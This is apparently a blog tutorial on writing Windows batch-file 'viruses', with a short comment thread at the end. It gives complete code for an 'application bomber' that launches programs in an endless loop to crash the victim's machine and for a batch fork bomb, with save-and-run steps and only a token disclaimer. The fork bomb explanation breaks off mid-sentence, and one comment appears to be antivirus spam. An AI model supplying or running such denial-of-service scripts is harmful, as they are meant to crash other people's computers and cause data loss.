In one of my previous posts i have written an article on introduction to malwares. You can read it from here. In this article i am going to teach you how to create viruses using batch file programming.
What is batch file programming?
Batch file programming is the native programming offered by the Microsoft Windows Operating
System. Batch file is created using any text editors like notepad, WordPad, Win word or so on. This batch file programming can be used for creating a batch VIRUS.
Disclaimer : I will not be held responsible for the actions of people who read this tutorial. This tutorial is for educational purposes only.And does not in anyway encourage illegal activity .
Creating BATCH VIRUS:
1) Application Bomber:
This ‘application bomber’ virus opens up applications continuously using a loop.
The victim cannot stop these applications from opening. Finally the system crashes.
@echo off
:loop
start notepad
start winword
start mspaint
start write
start cmd
start explorer
start control
start calc
goto loop
Now copy paste the above code in a notepad and save it as "app.bat" . Now when you run
this virus (program ) it will open up the following applications such as notepad, word document, Microsoft paint, WordPad, command prompt, my documents, control panel,and calculator in an infinite loop causing the system to collapse and as a result the system simply crashes or reboots.So don't run this on your computer.
2)Fork bombing
Fork bombing is nothing but calling a program by itself again and again with a infinite loop and making
the system to crash by popping up hundreds of windows on the screen.
@echo off
:loop
start notepad
Call forkbomb.bat
Goto loop
Copy the above program and paste it in a notepad file and save it as ‘forkbomb.bat’. The virus
will open up the notepad, and it is given inside a loop, then the same batch file is
called again which in turn opens up multiple notepads rolled out in a loop, likewise it goes on by calling
Hope you liked this article. Be the first to leave a comment.
Using AVG security for a few years, I'd recommend this product to everybody.
ReplyDelete